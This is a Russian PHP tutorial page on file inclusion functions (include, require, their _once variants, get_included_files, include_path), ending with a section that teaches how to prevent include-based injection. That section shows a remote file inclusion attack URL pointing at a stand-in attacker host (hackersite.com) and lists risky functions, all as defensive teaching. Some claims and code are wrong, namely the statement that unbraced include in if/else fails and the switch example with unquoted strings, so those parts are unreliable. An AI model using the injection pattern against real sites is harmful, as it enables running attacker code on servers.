На главную страницу

Включение модулей в РНР

Функция include()

Функция include() (ее аналог: inсlude_once()) служит для того, чтобы прикреплять к PHP-коду новые модули на PHP. Предположим, информация об авторских правах занесена одной строкой в файл copyright.inc (кстати, немногие знают, что расширение .inc произошло от самого названия функции include():

Далее вообразим, что Вы это знали давно, и при создании сайта (который сейчас на несколько сотен страниц), предусмотрительно внесли на место, где должна быть информация об авторских правах такую строчку:

include ("copyright.inc");

Теперь вы легко можете изменить один файл copyright.inc, чтобы отобразить изменения на всех страницах вашего сайта.

Содержание файла copyright.inc до исправления:

BillGates, (C)1995-2005

Содержание файла copyright.inc до после исправления:

BillGates Ltd., © 1995-2009
Более подробно о функциях включения модулей

• include() и require() - подключают и вычисляет специфицированный файл.

Эти две конструкции идентичны во всём, за исключением того, как они обрабатывают неудачное выполнение.

include() выдаёт Warning!, а require() выдаёт Fatal Error. Иначе говоря, не бойтесь использовать require(), если вам нужно, чтобы отсутствующий файл останавливал обработку страницы. include() не работает таким образом: скрипт всё равно продолжит работу.

Когда файл подключён, содержащийся в нём код наследует область видимости переменной строки, на которой возникло подключение. Любые переменные, доступные на этой строке в вызывающем файле, будут доступны в вызываемом файле, вперёд от этой точки.

Базовый пример include():

vars.php
<?php
$color = 'green';
$fruit = 'apple';

test.php
echo "A $color $fruit"; // A
include 'vars.php';
echo "A $color $fruit"; // A green apple
?>

Базовые примеры require():

<?php
require 'prepend.php';
require $somefile;
require ('somefile.txt');
?>

Если подключение возникает внутри функции в вызываемом файле, то весь код, содержащийся во включаемом файле, будет работать так, как если бы он был определён внутри. Так что он будет следовать области видимости переменной.

Подключение внутри функций:

<?php
function foo()
 {
  global $color;
  include 'vars.php';
  echo "A $color $fruit"; 
 }
/* vars.php находится в области видимости foo(), поэтому *
 * $fruit НЕ доступна вне это области видимости *
 * $color доступна, поскольку мы объявили её как глобальную. */
foo();                    // A green apple
echo "A $color $fruit";   // A green
?>

Когда файл подключается, разбор переходит из режима PHP в режим HTML в начале целевого файла и вновь продолжает после конца. Исходя из этого, любой код внутри файла назначения, который должен выполняться как PHP-код, обязан быть заключён в правильные стартовый и конечный тэги РНР.

Пример include() через HTTP

<?php
/* Здесь предполагается, что www.example.com сконфигурирован для разбора .php *
 * файлов, а не .txt файлов. Также 'Works' здесь означает, что переменные *
 * $foo и $bar доступны в подключённом файле. */

// Не будет работать; file.txt не был обработан www.example.com как PHP
include 'http://www.example.com/file.txt?foo=1&bar=2';

// Не будет работать; ищет файл 'file.php?foo=1&bar=2' в локальной
// файловой системе.
include 'file.php?foo=1&bar=2';

// Работает.
include 'http://www.example.com/file.php?foo=1&bar=2';

$foo = 1;
$bar = 2;
include 'file.txt';  // Работает.
include 'file.php';  // Работает.

?>

Поскольку include() и require() являются специальными конструкциями языка, вы обязаны заключить их в блок операторов, если это внутри условного блока.

Пример include() и условные блоки:

<?php
// Это НЕПРАВИЛЬНО, и не будет работать так, как ожидается.
if ($condition)
    include $file;
else
    include $other;

// Это КОРРЕКТНО.
if ($condition)
 {
  include $file;
 } 
 else
 {
  include $other;
 }
?>

Обработка возвращает: можно выполнить оператор return() внутри подключённого файла, чтобы прервать обработку этого файла и возвратиться в скрипт, вызвавший его. Также можно возвращать значения из подключённых файлов. Вы можете принять значение вызова include как обычно.

Примеры include() и return():

return.php
<?php
$var = 'PHP';
return $var;
?>

noreturn.php
<?php
$var = 'PHP';
?>

testreturns.php
<?php
$foo = include 'return.php';
echo $foo; // печатает 'PHP'
$bar = include 'noreturn.php';
echo $bar; // печатает 1
?>

$bar имеет значение 1, поскольку подключение было успешным. Обратите внимание на отличия в примерах. Первый использует return() внутри подключённого файла, а другие - нет.


• include_once() и require_once() - включают и вычисляют специфицированный файл в процессе выполнения скрипта. Это поведение напоминает операторы include() и require() с той только разницей, что, если код из файла уже был подключён, он не будет подключён ещё раз. include_once() и require_once() должны использоваться в тех случаях, когда один и тот же файл может быть подключён и вычислен более одного раза в процессе определённого выполнения скрипта, а вы хотите иметь уверенность, что он включён точно один раз, чтобы избежать проблем с повторным определением функций, переназначениями переменных.

Примеры include_once() и require_once():

<?php
include_once("a.php"); // включит файл a.php
include_once("A.php"); // включит файл a.php даже в системе Windows!
require_once("a.php"); // включит файл a.php
require_once("A.php"); // включит файл a.php даже в системе Windows!
?>

• get_included_files - возвращает массив имён всех файлов, которые включены с использованием include(), include_once(), require() или require_once().

• get_required_files - эта функция является псевдонимом для get_included_files(). Файлы, включённые или затребованные несколько раз, показаны в возвращаемом массиве только один раз.

Примечание: файлы, включённые с использованием директивы конфигурации auto_prepend_file, не входят в возвращаемый массив.

Пример get_included_files():

<?php
include("test1.php");
include_once("test2.php");
require("test3.php");
require_once("test4.php");

$included_files = get_included_files();

foreach($included_files as $filename)
 {
  echo "$filename\n";
 }
?>

сгенерирует на выводе:

test1.php
test2.php
test3.php
test4.php

• include_path string - Специфицирует список директорий, где функции require(), include() и fopen_with_path() ищут файлы. Формат напоминает системную переменную окружения PATH: список директорий, разделённых двоеточием в UNIX или точкой запятой - в Windows.

Пример UNIX include_path:

include_path=.:/home/httpd/php-lib

Пример Windows include_path:

include_path=".;c:\www\phplib"

Значение: по умолчанию: . (только текущая директория).

Безопасное программирование
или предотвращение include PHP-инъекций

Наиболее частой ошибкой с этой функцей является код:

<?php
...
$module = $_GET['module'];
include $module . '.php';
...
?>

в котором переменная $module передается как параметр из аресной строки вызова к скрипту (например, index.php?module=main.php).

Ошибка кода в том, что входной параметр принимаются и используются без проверки. К содержимому переменной $module просто прибавляется «.php» и по полученному пути подключается файл.

Взломщик может на своём сайте создать файл, содержащий PHP-код (http://hackersite.com/inc.php), и зайдя на сайт по ссылке вроде http://mysite.com/index.php?module=http://hackersite.com/inc выполнить любые PHP-команды.

Потенциально опасными в этом отношении являются функции:

eval(),

preg_replace() (с модификатором «e»),

require_once(),

include_once(),

include(),

require(),

create_function(),

fopen().

Можно сделать фильтры на эту переменную, но лучшим решением этой проблемы являются следующие варианты:

Вариант 1.

Конструкция с оператором switch, например так:

<?php
...
$module = $_GET['module'];
switch ($module) // $case - имя переменной передаваемой в параметре к скрипту
{
 case news: include(news.php); break;
 case articles: include(articles.php); break;
 ... // и т.д.
 // если в переменной $case отсутствует значение, то открывается главная страница
 default: include(main.php); break;
}
...
?>

Вариант 2. Проверять, что $module присвоено одно из допустимых значений:

<?php
...
$module = $_GET['module'];
$arr = array('main', 'about', 'links', 'forum');
if (!in_array($module,$arr)) $module = array_shift($arr);
// если нет совпадений, то открывается первый файл из списка
include $module.'.php';
...
?>

PHP предоставляет также возможность отключения использования удаленных файлов, это реализуется путем изменения значения опции allow_url_fopen на Off в файле конфигурации php.ini.

Описанная уязвимость представляет высокую опасность для сайта и авторам PHP-скриптов не надо забывать про неё.

Включение больших файлов

Но при вложении в документ больших файлов, встроенная функция include может работать неудовлетворительно. И у стандартной функции нет проверки на присутствие файла, который мы собираемся вложить. У предлагаемой функции таких недостатков нет.

function includeFile($filename)
{
 if (file_exists($filename))
 { 
  $fd = fopen($filename, "r");
  while (!feof($fd))
  {
   $buffer = fgets($fd, 4096);
   echo $buffer;
  }
  fclose($fd);
 }
 else 
 {
  // echo "документ не обнаружен";
 }
} # end of function

В начало страницы
Hosted by uCoz